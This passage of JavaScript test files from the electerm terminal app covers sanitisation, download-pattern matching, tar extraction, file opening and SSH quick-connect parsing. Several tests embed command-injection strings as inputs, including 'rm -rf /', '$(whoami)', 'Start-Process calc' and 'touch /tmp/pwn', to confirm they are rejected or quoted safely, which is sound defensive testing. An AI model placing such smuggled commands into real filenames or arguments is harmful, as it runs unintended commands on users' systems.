console.log(`${name}`)
passed++
} catch (e) {
console.error(`${name}`)
console.error(` Error: ${e.message}`)
failed++
}
}
function testAsync (name, fn) {
asyncQueue.push(async () => {
try {
await fn()
console.log(`${name}`)
passed++
} catch (e) {
console.error(`${name}`)
console.error(` Error: ${e.message}`)
failed++
}
})
}
function expect (actual) {
return {
toBe (expected) {
if (actual !== expected) {
throw new Error(`Expected ${expected} but got ${actual}`)
}
},
toEqual (expected) {
if (JSON.stringify(actual) !== JSON.stringify(expected)) {
throw new Error(`Expected ${JSON.stringify(expected)} but got ${JSON.stringify(actual)}`)
}
},
toContain (expected) {
if (!actual.includes(expected)) {
throw new Error(`Expected ${actual} to contain ${expected}`)
}
},
toMatch (pattern) {
if (!pattern.test(actual)) {
throw new Error(`Expected ${actual} to match ${pattern}`)
}
},
toBeTruthy () {
if (!actual) {
throw new Error(`Expected ${actual} to be truthy`)
}
},
toBeFalsy () {
if (actual) {
throw new Error(`Expected ${actual} to be falsy`)
}
}
}
}
function testThrows (fn, expectedMessage) {
try {
fn()
throw new Error('Expected function to throw')
} catch (e) {
if (e.message === 'Expected function to throw') throw e
if (expectedMessage && !e.message.includes(expectedMessage)) {
throw new Error(`Expected error to include "${expectedMessage}" but got "${e.message}"`)
}
}
}
// ---------------------------------------------------------------------------
// Download pattern helper (for testing)
// ---------------------------------------------------------------------------
function getDownloadPattern (platform, architecture, options = {}) {
const { win7, mac10, linuxLegacy } = options
if (platform === 'win32') {
if (win7) {
return { pattern: /electerm-\d+\.\d+\.\d+-win7\.tar\.gz$/, type: 'win7' }
} else if (architecture === 'arm64') {
return { pattern: /electerm-\d+\.\d+\.\d+-win-arm64\.tar\.gz$/, type: 'win-arm64' }
} else {
return { pattern: /electerm-\d+\.\d+\.\d+-win-x64\.tar\.gz$/, type: 'win-x64' }
}
} else if (platform === 'darwin') {
if (mac10) {
return { pattern: /mac10-x64\.dmg$/, type: 'mac10-x64' }
} else if (architecture === 'arm64') {
return { pattern: /mac-arm64\.dmg$/, type: 'mac-arm64' }
} else {
return { pattern: /mac-x64\.dmg$/, type: 'mac-x64' }
}
} else if (platform === 'linux') {
const suffix = linuxLegacy ? '-legacy' : ''
if (architecture === 'arm64' || architecture === 'aarch64') {
return { pattern: new RegExp(`linux-arm64${suffix}\\.tar\\.gz$`), type: `linux-arm64${suffix}` }
} else if (architecture === 'arm') {
return { pattern: new RegExp(`linux-armv7l${suffix}\\.tar\\.gz$`), type: `linux-armv7l${suffix}` }
} else if (architecture === 'loong64') {
return { pattern: new RegExp(`linux-loong64${suffix}\\.tar\\.gz$`), type: `linux-loong64${suffix}` }
} else {
return { pattern: new RegExp(`linux-x64${suffix}\\.tar\\.gz$`), type: `linux-x64${suffix}` }
}
}
return { pattern: null, type: 'unsupported' }
}
// =============================================================================
// Tests: Platform Detection
// =============================================================================
console.log('\n=== Platform Detection Tests ===\n')
test('isWindows7OrEarlier: returns false for non-Windows platforms', () => {
expect(isWindows7OrEarlier('darwin', '21.0.0')).toBe(false)
expect(isWindows7OrEarlier('linux', '5.4.0')).toBe(false)
})
test('isWindows7OrEarlier: returns true for Windows 7 (NT 6.1)', () => {
expect(isWindows7OrEarlier('win32', '6.1.7601')).toBe(true)
})
test('isWindows7OrEarlier: returns true for Windows Vista (NT 6.0)', () => {
expect(isWindows7OrEarlier('win32', '6.0.6000')).toBe(true)
})
test('isWindows7OrEarlier: returns true for Windows XP (NT 5.1)', () => {
expect(isWindows7OrEarlier('win32', '5.1.2600')).toBe(true)
})
test('isWindows7OrEarlier: returns false for Windows 8 (NT 6.2)', () => {
expect(isWindows7OrEarlier('win32', '6.2.9200')).toBe(false)
})
test('isWindows7OrEarlier: returns false for Windows 10 (NT 10.0)', () => {
expect(isWindows7OrEarlier('win32', '10.0.19041')).toBe(false)
})
test('isWindows7OrEarlier: returns false for Windows 11 (NT 10.0)', () => {
expect(isWindows7OrEarlier('win32', '10.0.22000')).toBe(false)
})
test('isMacOS10: returns false for non-macOS platforms', () => {
expect(isMacOS10('win32', '10.0.19041')).toBe(false)
expect(isMacOS10('linux', '5.4.0')).toBe(false)
})
test('isMacOS10: returns true for macOS 10.15 Catalina (Darwin 19.x)', () => {
expect(isMacOS10('darwin', '19.6.0')).toBe(true)
})
test('isMacOS10: returns true for macOS 10.14 Mojave (Darwin 18.x)', () => {
expect(isMacOS10('darwin', '18.7.0')).toBe(true)
})
test('isMacOS10: returns false for macOS 11 Big Sur (Darwin 20.x)', () => {
expect(isMacOS10('darwin', '20.6.0')).toBe(false)
})
test('isMacOS10: returns false for macOS 14 Sonoma (Darwin 23.x)', () => {
expect(isMacOS10('darwin', '23.0.0')).toBe(false)
})
test('isLinuxLegacy: returns false for non-Linux platforms', () => {
expect(isLinuxLegacy('win32')).toBe(false)
expect(isLinuxLegacy('darwin')).toBe(false)
})
// =============================================================================
// Tests: Security Sanitization
// =============================================================================
console.log('\n=== Security Sanitization Tests ===\n')
test('sanitizeVersion: removes v prefix', () => {
expect(sanitizeVersion('v1.2.3')).toBe('1.2.3')
})
test('sanitizeVersion: trims whitespace', () => {
expect(sanitizeVersion(' 1.2.3 ')).toBe('1.2.3')
})
test('sanitizeVersion: passes valid semver', () => {
expect(sanitizeVersion('1.2.3')).toBe('1.2.3')
expect(sanitizeVersion('3.2.0')).toBe('3.2.0')
})
test('sanitizeVersion: throws on invalid version', () => {
testThrows(() => sanitizeVersion('1.2'), 'validation')
testThrows(() => sanitizeVersion('abc'), 'validation')
testThrows(() => sanitizeVersion('1.2.3.4'), 'validation')
testThrows(() => sanitizeVersion('1.2.3-beta'), 'validation')
})
test('sanitizeFilename: passes valid filenames', () => {
expect(sanitizeFilename('electerm-3.2.0-linux-x64.tar.gz')).toBe('electerm-3.2.0-linux-x64.tar.gz')
expect(sanitizeFilename('electerm-3.2.0-mac-x64.dmg')).toBe('electerm-3.2.0-mac-x64.dmg')
})
test('sanitizeFilename: trims whitespace', () => {
expect(sanitizeFilename(' test.tar.gz ')).toBe('test.tar.gz')
})
test('sanitizeFilename: throws on invalid filenames', () => {
testThrows(() => sanitizeFilename('../evil.sh'), 'validation')
testThrows(() => sanitizeFilename('test; rm -rf /'), 'validation')
testThrows(() => sanitizeFilename('test$(whoami).tar.gz'), 'validation')
})
// =============================================================================
// Tests: Download Patterns
// =============================================================================
console.log('\n=== Download Pattern Tests ===\n')
const v = '3.2.0'
const releaseFiles = [
`electerm-${v}-linux-arm64.tar.gz`,
`electerm-${v}-linux-arm64-legacy.tar.gz`,
`electerm-${v}-linux-armv7l.tar.gz`,
`electerm-${v}-linux-armv7l-legacy.tar.gz`,
`electerm-${v}-linux-loong64.tar.gz`,
`electerm-${v}-linux-loong64-legacy.tar.gz`,
`electerm-${v}-linux-x64.tar.gz`,
`electerm-${v}-linux-x64-legacy.tar.gz`,
`electerm-${v}-mac-arm64.dmg`,
`electerm-${v}-mac-x64.dmg`,
`electerm-${v}-mac10-x64.dmg`,
`electerm-${v}-win-arm64.tar.gz`,
`electerm-${v}-win-x64.tar.gz`,
`electerm-${v}-win7.tar.gz`
]
test('pattern: win-x64 matches exactly one file', () => {
const { pattern } = getDownloadPattern('win32', 'x64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-win-x64.tar.gz`])
})
test('pattern: win-arm64 matches exactly one file', () => {
const { pattern } = getDownloadPattern('win32', 'arm64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-win-arm64.tar.gz`])
})
test('pattern: win7 matches exactly one file', () => {
const { pattern } = getDownloadPattern('win32', 'x64', { win7: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-win7.tar.gz`])
})
test('pattern: mac-x64 matches exactly one file', () => {
const { pattern } = getDownloadPattern('darwin', 'x64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-mac-x64.dmg`])
})
test('pattern: mac-arm64 matches exactly one file', () => {
const { pattern } = getDownloadPattern('darwin', 'arm64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-mac-arm64.dmg`])
})
test('pattern: mac10-x64 matches exactly one file', () => {
const { pattern } = getDownloadPattern('darwin', 'x64', { mac10: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-mac10-x64.dmg`])
})
test('pattern: linux-x64 matches exactly one file', () => {
const { pattern } = getDownloadPattern('linux', 'x64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-linux-x64.tar.gz`])
})
test('pattern: linux-x64-legacy matches exactly one file', () => {
const { pattern } = getDownloadPattern('linux', 'x64', { linuxLegacy: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-linux-x64-legacy.tar.gz`])
})
test('pattern: linux-arm64 matches exactly one file', () => {
const { pattern } = getDownloadPattern('linux', 'arm64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-linux-arm64.tar.gz`])
})
test('pattern: linux-arm64-legacy matches exactly one file', () => {
const { pattern } = getDownloadPattern('linux', 'arm64', { linuxLegacy: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-linux-arm64-legacy.tar.gz`])
})
test('pattern: linux-armv7l matches exactly one file', () => {
const { pattern } = getDownloadPattern('linux', 'arm', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-linux-armv7l.tar.gz`])
})
test('pattern: linux-armv7l-legacy matches exactly one file', () => {
const { pattern } = getDownloadPattern('linux', 'arm', { linuxLegacy: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-linux-armv7l-legacy.tar.gz`])
})
test('pattern: linux-loong64 matches exactly one file', () => {
const { pattern } = getDownloadPattern('linux', 'loong64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-linux-loong64.tar.gz`])
})
test('pattern: linux-loong64-legacy matches exactly one file', () => {
const { pattern } = getDownloadPattern('linux', 'loong64', { linuxLegacy: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-linux-loong64-legacy.tar.gz`])
})
test('pattern: unsupported platform returns null pattern', () => {
const { pattern, type } = getDownloadPattern('freebsd', 'x64', {})
expect(pattern).toBe(null)
expect(type).toBe('unsupported')
})
// =============================================================================
// Tests: Extracted Binary Path
// =============================================================================
console.log('\n=== Extracted Binary Path Tests ===\n')
test('getElectermExePath: returns correct path for current platform', () => {
const exePath = getElectermExePath()
if (plat === 'win32') {
expect(exePath).toBe(path.join(_extractDir, 'electerm.exe'))
} else {
expect(exePath).toBe(path.join(_extractDir, 'electerm'))
}
})
test('getElectermExePath: extractDir is inside packageRoot', () => {
expect(_extractDir).toContain(_packageRoot)
expect(_extractDir).toBe(path.join(_packageRoot, 'electerm'))
})
test('isElectermExtracted: returns boolean', () => {
const result = isElectermExtracted()
expect(typeof result).toBe('boolean')
})
// =============================================================================
// Tests: Utils - Proxy Support
// =============================================================================
console.log('\n=== Utils Proxy Tests ===\n')
test('applyProxy: returns original URL when no proxy configured', () => {
// GITHUB_PROXY is empty by default in tests
const result = applyProxy('https://github.com/test/file.tar.gz')
expect(result).toBe('https://github.com/test/file.tar.gz')
})
test('applyProxy: does not proxy non-GitHub URLs', () => {
const result = applyProxy('https://example.com/file.tar.gz')
expect(result).toBe('https://example.com/file.tar.gz')
})
test('applyProxy: proxies GitHub URLs when GITHUB_PROXY is set', () => {
// Test the logic directly since module caches GITHUB_PROXY at load time
const proxy = 'https://electerm-mirror.html5beta.com'
const url = 'https://github.com/electerm/electerm/releases/download/v1.0.0/test.tar.gz'
// Simulate the applyProxy logic
const cleanProxy = proxy.replace(/\/+$/, '')
const result = `${cleanProxy}/${url}`
expect(result).toBe('https://electerm-mirror.html5beta.com/https://github.com/electerm/electerm/releases/download/v1.0.0/test.tar.gz')
})
test('applyProxy: handles proxy URL with trailing slash', () => {
const proxy = 'https://electerm-mirror.html5beta.com/'
const url = 'https://github.com/test/file.tar.gz'
const cleanProxy = proxy.replace(/\/+$/, '')
const result = `${cleanProxy}/${url}`
expect(result).toBe('https://electerm-mirror.html5beta.com/https://github.com/test/file.tar.gz')
})
test('formatBytes: formats bytes correctly', () => {
expect(formatBytes(0)).toBe('0 B')
expect(formatBytes(1024)).toBe('1 KB')
expect(formatBytes(1048576)).toBe('1 MB')
expect(formatBytes(1073741824)).toBe('1 GB')
})
test('formatBytes: handles partial units', () => {
expect(formatBytes(1536)).toBe('1.5 KB')
expect(formatBytes(1572864)).toBe('1.5 MB')
})
// =============================================================================
// Tests: Utils - Tar Extract (sync-friendly)
// =============================================================================
console.log('\n=== Utils Tar Extract Tests ===\n')
test('extractTarGz: extracts a tar.gz file', async () => {
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'electerm-test-tar-'))
const extDir = fs.mkdtempSync(path.join(os.tmpdir(), 'electerm-test-extract-'))
try {
const testFile = path.join(tmpDir, 'test.txt')
fs.writeFileSync(testFile, 'Hello World')
const tarFile = path.join(tmpDir, 'test.tar.gz')
await tar.create({ gzip: true, file: tarFile, cwd: tmpDir }, ['test.txt'])
await extractTarGz(tarFile, extDir)
expect(fs.existsSync(path.join(extDir, 'test.txt'))).toBe(true)
const content = fs.readFileSync(path.join(extDir, 'test.txt'), 'utf8')
expect(content).toBe('Hello World')
} finally {
fs.rmSync(tmpDir, { recursive: true })
fs.rmSync(extDir, { recursive: true })
}
})
test('extractTarGz: strips top-level directory with strip:1', async () => {
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'electerm-test-strip-'))
const extDir = fs.mkdtempSync(path.join(os.tmpdir(), 'electerm-test-strip-extract-'))
try {
const appDir = path.join(tmpDir, 'myapp')
fs.mkdirSync(appDir)
fs.writeFileSync(path.join(appDir, 'test.txt'), 'Stripped!')
const tarFile = path.join(tmpDir, 'test.tar.gz')
await tar.create({ gzip: true, file: tarFile, cwd: tmpDir }, ['myapp'])
await extractTarGz(tarFile, extDir, 1)
expect(fs.existsSync(path.join(extDir, 'test.txt'))).toBe(true)
expect(fs.existsSync(path.join(extDir, 'myapp'))).toBe(false)
} finally {
fs.rmSync(tmpDir, { recursive: true })
fs.rmSync(extDir, { recursive: true })
}
})
// =============================================================================
// Tests: CLI Launcher Flow
// =============================================================================
console.log('\n=== CLI Launcher Flow Tests ===\n')
test('node launcher: correct path navigation', () => {
const npmDir = path.join(_packageRoot, 'npm')
const expectedPackageRoot = path.resolve(npmDir, '..')
expect(expectedPackageRoot).toBe(_packageRoot)
})
test('node launcher: checks for electerm binary existence', () => {
const expectedBinaryPath = path.join(_packageRoot, 'electerm', 'electerm')
expect(expectedBinaryPath).toBe(getElectermExePath())
})
test('install flow: extractDir is correct', () => {
expect(_extractDir).toBe(path.join(_packageRoot, 'electerm'))
})
test('install flow: no infinite recursion', () => {
// install.js does NOT call exec('electerm')
// It only downloads and extracts
// The node launcher then spawns the extracted binary directly
const installExports = require('../../npm/install')
expect(typeof installExports.isElectermExtracted).toBe('function')
expect(typeof installExports.getElectermExePath).toBe('function')
})
test('node launcher: launches binary after install', () => {
// The Node.js launcher flow:
// 1. Check if ./electerm/electerm exists
// 2. If not: spawn node ./npm/install.js (downloads & extracts)
// 3. Spawn ./electerm/electerm (launches binary)
//
// This prevents infinite recursion because:
// - install.js never calls 'electerm' command
// - Node.js launcher uses spawn/execFile to run the binary directly
// - npm creates a proper .cmd wrapper on Windows via #!/usr/bin/env node
const bashScriptPath = path.join(_packageRoot, 'npm', 'electerm')
expect(fs.existsSync(bashScriptPath)).toBe(true)
})
// =============================================================================
// Tests: Cross-Platform Paths
// =============================================================================
console.log('\n=== Cross-Platform Path Tests ===\n')
test('paths: packageRoot is absolute', () => {
expect(path.isAbsolute(_packageRoot)).toBe(true)
})
test('paths: extractDir is absolute', () => {
expect(path.isAbsolute(_extractDir)).toBe(true)
})
test('paths: extractDir is child of packageRoot', () => {
expect(_extractDir.startsWith(_packageRoot)).toBe(true)
})
// =============================================================================
// Async HTTP Tests (run last to avoid output interleaving)
// =============================================================================
console.log('\n=== Utils HTTP Tests (async) ===\n')
testAsync('httpGet: fetches a URL', async () => {
const result = await httpGet('https://httpbin.org/get', 10000)
expect(typeof result).toBe('string')
expect(result).toContain('httpbin.org')
})
testAsync('phin: makes HTTP request', async () => {
const result = await phin({ url: 'https://httpbin.org/get', timeout: 10000 })
expect(result.statusCode).toBe(200)
expect(Buffer.isBuffer(result.body)).toBe(true)
expect(result.body.toString()).toContain('httpbin.org')
})
testAsync('httpGet: handles redirects', async () => {
const result = await httpGet('https://httpbin.org/redirect/1', 10000)
expect(typeof result).toBe('string')
})
testAsync('httpGet: throws on 404', async () => {
try {
await httpGet('https://httpbin.org/status/404', 10000)
throw new Error('Expected to throw')
} catch (e) {
expect(e.message).toContain('404')
}
})
testAsync('download: downloads a file', async () => {
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'electerm-test-dl-'))
try {
const result = await download(
'https://httpbin.org/robots.txt',
tmpDir,
{ extract: false }
)
expect(result.filepath).toContain('robots.txt')
expect(result.extracted).toBe(false)
expect(fs.existsSync(result.filepath)).toBe(true)
} finally {
fs.rmSync(tmpDir, { recursive: true })
}
})
// =============================================================================
// Run all async tests and print results
// =============================================================================
async function runAsyncTests () {
for (const fn of asyncQueue) {
await fn()
}
}
async function printResults () {
await runAsyncTests()
console.log('\n========================================')
console.log(`Results: ${passed} passed, ${failed} failed`)
console.log('========================================\n')
process.exit(failed > 0 ? 1 : 0)
}
printResults().catch(err => {
console.error('Test runner error:', err)
process.exit(1)
})
+63
View File
@@ -0,0 +1,63 @@
const { test, describe, beforeEach, afterEach } = require('node:test')
const assert = require('assert/strict')
const path = require('path')
const fs = require('fs')
const { downloadPackage } = require('../../src/app/lib/npm')
const testFolder = path.join(__dirname, 'npm-test-modules')
describe('npm', () => {
beforeEach(() => {
if (fs.existsSync(testFolder)) {
fs.rmSync(testFolder, { recursive: true, force: true })
}
})
afterEach(() => {
if (fs.existsSync(testFolder)) {
fs.rmSync(testFolder, { recursive: true, force: true })
}
})
test('should download a simple package from npm', async () => {
const pkgPath = await downloadPackage('lodash', testFolder)
assert.ok(fs.existsSync(pkgPath))
assert.ok(fs.existsSync(path.join(pkgPath, 'package.json')))
const lodash = require(path.join(pkgPath, 'lodash.js'))
assert.ok(lodash.clone)
assert.ok(lodash.without)
})
test('should return cached path if package already exists', async () => {
const firstPath = await downloadPackage('lodash', testFolder)
const secondPath = await downloadPackage('lodash', testFolder)
assert.strictEqual(firstPath, secondPath)
})
test('should download a package with dependencies', async () => {
const pkgPath = await downloadPackage('debug', testFolder)
assert.ok(fs.existsSync(pkgPath))
assert.ok(fs.existsSync(path.join(pkgPath, 'package.json')))
})
test('should throw error for non-existent package', async () => {
await assert.rejects(
async () => {
await downloadPackage('this-package-does-not-exist-12345', testFolder)
},
(err) => {
return err.message.includes('this-package-does-not-exist-12345') || err.code === 'ENOTFOUND'
}
)
})
test('should download ftp-srv package with dependencies', async () => {
const pkgPath = await downloadPackage('ftp-srv', testFolder)
assert.ok(fs.existsSync(pkgPath))
assert.ok(fs.existsSync(path.join(pkgPath, 'package.json')))
const { FtpSrv } = require(pkgPath)
assert.ok(FtpSrv)
assert.ok(typeof FtpSrv === 'function')
})
})
+121
View File
@@ -0,0 +1,121 @@
const test = require('node:test')
const assert = require('node:assert/strict')
const childProcess = require('child_process')
const originalSpawn = childProcess.spawn
async function withPlatform (platform, run) {
const descriptor = Object.getOwnPropertyDescriptor(process, 'platform')
Object.defineProperty(process, 'platform', {
configurable: true,
value: platform
})
try {
await run()
} finally {
Object.defineProperty(process, 'platform', descriptor)
}
}
test.afterEach(() => {
childProcess.spawn = originalSpawn
delete require.cache[require.resolve('../../src/app/lib/open-file-with-editor')]
})
test('parseEditorCommand preserves quoted executable and args', () => {
const { parseEditorCommand } = require('../../src/app/lib/open-file-with-editor')
const result = parseEditorCommand('"C:\\Program Files\\Notepad++\\notepad++.exe" -multiInst -nosession')
assert.equal(result.command, 'C:\\Program Files\\Notepad++\\notepad++.exe')
assert.deepEqual(result.args, ['-multiInst', '-nosession'])
})
test('openFileWithEditor passes malicious filenames as a literal Windows argument', async () => {
let spawnCall
childProcess.spawn = (command, args, options) => {
spawnCall = { command, args, options }
return {
stderr: {
on: () => {}
},
on: (event, handler) => {
if (event === 'close') {
process.nextTick(() => handler(0))
}
},
unref: () => {}
}
}
await withPlatform('win32', async () => {
const { openFileWithEditor } = require('../../src/app/lib/open-file-with-editor')
await openFileWithEditor('C:\\Temp\\poc";Start-Process calc;#.txt', 'notepad.exe')
})
assert.equal(spawnCall.command, 'powershell.exe')
assert.deepEqual(spawnCall.args.slice(0, 2), ['-NoLogo', '-Command'])
assert.match(spawnCall.args[2], /& \$editor @editorArgs/)
assert.equal(
Buffer.from(spawnCall.options.env.ELECTERM_EDITOR_COMMAND_B64, 'base64').toString('utf8'),
'notepad.exe'
)
assert.deepEqual(
JSON.parse(Buffer.from(spawnCall.options.env.ELECTERM_EDITOR_ARGS_B64, 'base64').toString('utf8')),
['C:\\Temp\\poc";Start-Process calc;#.txt']
)
assert.equal(spawnCall.options.windowsHide, true)
})
test('openFileWithEditor passes malicious filenames as a literal shell argument on Unix', async () => {
let spawnCall
childProcess.spawn = (command, args, options) => {
spawnCall = { command, args, options }
return {
stderr: {
on: () => {}
},
on: (event, handler) => {
if (event === 'close') {
process.nextTick(() => handler(0))
}
},
unref: () => {}
}
}
const originalShell = process.env.SHELL
process.env.SHELL = '/bin/zsh'
try {
await withPlatform('darwin', async () => {
const { openFileWithEditor } = require('../../src/app/lib/open-file-with-editor')
await openFileWithEditor('/tmp/poc";touch /tmp/pwn;#.txt', 'code --wait')
})
} finally {
process.env.SHELL = originalShell
}
assert.equal(spawnCall.command, '/bin/zsh')
assert.deepEqual(spawnCall.args, [
'-l',
'-i',
'-c',
'exec "$0" "$@"',
'code',
'--wait',
'/tmp/poc";touch /tmp/pwn;#.txt'
])
assert.equal(spawnCall.options.detached, false)
})
test('parseEditorCommand rejects unmatched quotes', () => {
const { parseEditorCommand } = require('../../src/app/lib/open-file-with-editor')
assert.throws(
() => parseEditorCommand('"C:\\Program Files\\Notepad++\\notepad++.exe'),
/unmatched quote/
)
})
+89
View File
@@ -0,0 +1,89 @@
const test = require('node:test')
const assert = require('node:assert/strict')
const childProcess = require('child_process')
const os = require('os')
const originalSpawn = childProcess.spawn
const originalPlatform = os.platform
const originalArch = os.arch
const originalNodeEnv = process.env.NODE_ENV
function loadFsForPlatform (platform) {
os.platform = () => platform
os.arch = () => 'x64'
process.env.NODE_ENV = 'development'
delete require.cache[require.resolve('../../src/app/lib/fs')]
delete require.cache[require.resolve('../../src/app/common/runtime-constants')]
return require('../../src/app/lib/fs').fsExport
}
test.afterEach(() => {
childProcess.spawn = originalSpawn
os.platform = originalPlatform
os.arch = originalArch
process.env.NODE_ENV = originalNodeEnv
delete require.cache[require.resolve('../../src/app/lib/fs')]
delete require.cache[require.resolve('../../src/app/common/runtime-constants')]
})
test('openFile passes malicious Windows filenames as a literal PowerShell argument', async () => {
let spawnCall
childProcess.spawn = (command, args, options) => {
spawnCall = { command, args, options }
return {
stderr: {
on: () => {}
},
on: (event, handler) => {
if (event === 'close') {
process.nextTick(() => handler(0))
}
},
unref: () => {}
}
}
const fsExport = loadFsForPlatform('win32')
await fsExport.openFile("C:\\Temp\\poc';Start-Process calc;#.txt")
assert.equal(spawnCall.command, 'powershell.exe')
assert.deepEqual(spawnCall.args.slice(0, 3), [
'-NoLogo',
'-NonInteractive',
'-Command'
])
assert.match(spawnCall.args[3], /Invoke-Item -LiteralPath \$path/)
assert.equal(
Buffer.from(spawnCall.options.env.ELECTERM_OPEN_FILE_PATH_B64, 'base64').toString('utf8'),
"C:\\Temp\\poc';Start-Process calc;#.txt"
)
assert.equal(spawnCall.options.windowsHide, true)
})
test('openFile passes malicious Unix filenames directly to open command', async () => {
let spawnCall
childProcess.spawn = (command, args, options) => {
spawnCall = { command, args, options }
return {
stderr: {
on: () => {}
},
on: (event, handler) => {
if (event === 'close') {
process.nextTick(() => handler(0))
}
},
unref: () => {}
}
}
const fsExport = loadFsForPlatform('darwin')
await fsExport.openFile('/tmp/poc";touch /tmp/pwn;#.txt')
assert.equal(spawnCall.command, 'open')
assert.deepEqual(spawnCall.args, ['/tmp/poc";touch /tmp/pwn;#.txt'])
assert.equal(spawnCall.options.detached, false)
})
+691
View File
@@ -0,0 +1,691 @@
/**
* Quick Connect Parser Tests
* Uses Node.js built-in test function (node:test)
*/
const { test, describe } = require('node:test')
const assert = require('node:assert')
const {
parseQuickConnect,
getDefaultPort,
getSupportedProtocols,
SUPPORTED_PROTOCOLS,
DEFAULT_PORTS
} = require('../../src/app/common/parse-quick-connect')
describe('parseQuickConnect', function () {
// Test null/undefined/empty input
test('should return null for null input', () => {
assert.strictEqual(parseQuickConnect(null), null)
})
test('should return null for undefined input', () => {
assert.strictEqual(parseQuickConnect(undefined), null)
})
test('should return null for empty string', () => {
assert.strictEqual(parseQuickConnect(''), null)
})
test('should return null for whitespace only', () => {
assert.strictEqual(parseQuickConnect(' '), null)
})
// Test SSH protocol
test('should parse ssh://user@host', () => {
const result = parseQuickConnect('ssh://user@192.168.1.100')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.password, undefined)
})
test('should parse ssh://user:password@host', () => {
const result = parseQuickConnect('ssh://user:password@192.168.1.100:22')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.password, 'password')
assert.strictEqual(result.port, 22)
})
test('should parse ssh://host (without username)', () => {
const result = parseQuickConnect('ssh://192.168.1.100')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, undefined)
})
test('should parse ssh://host:port', () => {
const result = parseQuickConnect('ssh://192.168.1.100:2222')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.port, 2222)
})
// Test SSH shortcut format
test('should parse user@host (shortcut)', () => {
const result = parseQuickConnect('user@192.168.1.100')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
})
test('should parse user@host:port (shortcut)', () => {
const result = parseQuickConnect('user@192.168.1.100:2222')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.port, 2222)
})
test('should parse host (shortcut)', () => {
const result = parseQuickConnect('192.168.1.100')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
})
test('should parse host:port (shortcut)', () => {
const result = parseQuickConnect('192.168.1.100:2222')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.port, 2222)
})
// Test SSH shortcut format with hostname containing colon
test('should parse hostname:port with letters (shortcut)', () => {
const result = parseQuickConnect('localhost:23344')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, 'localhost')
assert.strictEqual(result.port, 23344)
})
test('should parse hostname:port with multiple labels (shortcut)', () => {
const result = parseQuickConnect('my-server:23344')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, 'my-server')
assert.strictEqual(result.port, 23344)
})
test('should parse user@hostname:port (shortcut)', () => {
const result = parseQuickConnect('user@localhost:23344')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, 'localhost')
assert.strictEqual(result.port, 23344)
assert.strictEqual(result.username, 'user')
})
// Test Telnet protocol
test('should parse telnet://user@host', () => {
const result = parseQuickConnect('telnet://user@192.168.1.1:23')
assert.strictEqual(result.type, 'telnet')
assert.strictEqual(result.host, '192.168.1.1')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.port, 23)
})
test('should parse telnet://host', () => {
const result = parseQuickConnect('telnet://192.168.1.1')
assert.strictEqual(result.type, 'telnet')
assert.strictEqual(result.host, '192.168.1.1')
})
// Test VNC protocol
test('should parse vnc://user@host', () => {
const result = parseQuickConnect('vnc://user@192.168.1.100:5900')
assert.strictEqual(result.type, 'vnc')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.port, 5900)
})
test('should parse vnc://host', () => {
const result = parseQuickConnect('vnc://192.168.1.100')
assert.strictEqual(result.type, 'vnc')
assert.strictEqual(result.host, '192.168.1.100')
})
// Test RDP protocol
test('should parse rdp://user@host', () => {
const result = parseQuickConnect('rdp://admin@192.168.1.100:3389')
assert.strictEqual(result.type, 'rdp')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'admin')
assert.strictEqual(result.port, 3389)
})
test('should parse rdp://host', () => {
const result = parseQuickConnect('rdp://192.168.1.100')
assert.strictEqual(result.type, 'rdp')
assert.strictEqual(result.host, '192.168.1.100')
})
// Test Spice protocol
test('should parse spice://host', () => {
const result = parseQuickConnect('spice://192.168.1.100:5900')
assert.strictEqual(result.type, 'spice')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.port, 5900)
})
test('should parse spice://password:host', () => {
const result = parseQuickConnect('spice://password:192.168.1.100:5900')
assert.strictEqual(result.type, 'spice')
assert.strictEqual(result.host, '192.168.1.100')
